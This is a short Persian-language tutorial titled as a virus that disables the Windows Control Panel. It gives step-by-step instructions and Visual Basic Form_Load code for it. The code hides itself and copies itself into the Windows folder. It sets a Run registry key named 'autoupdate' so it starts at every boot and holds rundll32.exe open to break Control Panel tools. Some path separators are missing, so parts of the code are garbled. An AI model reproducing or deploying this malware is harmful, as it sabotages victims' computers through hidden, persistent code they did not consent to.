يک ويروس براي غير فعال کردن کنترل پنل

در اين روش، پنجره کنترل پنل باز مي شود ولي هيچ يک از ابزارهايش اجرا نمي شوند و پيغام خطايي روي صفحه ظاهر مي شود. در ضمن اين ويروس، ويروسي کامل و مستقل هست و در هر بار اجراي ويندوز، اجرا مي شود.

1- ويژوال بيسيک را باز کنيد.
2- پروژه اي در حالت Standard EXE را انتخاب کنيد.
3- سپس بر روي form دو بار کليک کنيد و کدهاي زير را در آن (Form_Load) کپي کنيد:

On Error GoTo 1
Me.hide
App.taskvisible = false
Set fso = CreateObject("scripting.filesystemobject")
Set windir = fso.getspecialfolder(0)
file = App.Path & "" & App.EXEName & ".exe"
FileCopy file, windir & "" & App.EXEName & ".exe"
file2 = windir & "" & App.EXEName & ".exe"
Set Reg = CreateObject("wscript.shell")
Reg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentversionrunautoupdate", file2
Sysdir = fso.getspecialfolder(1)
Sys = sysdir & "rundll32.exe"
Open sys For Append As #3
1: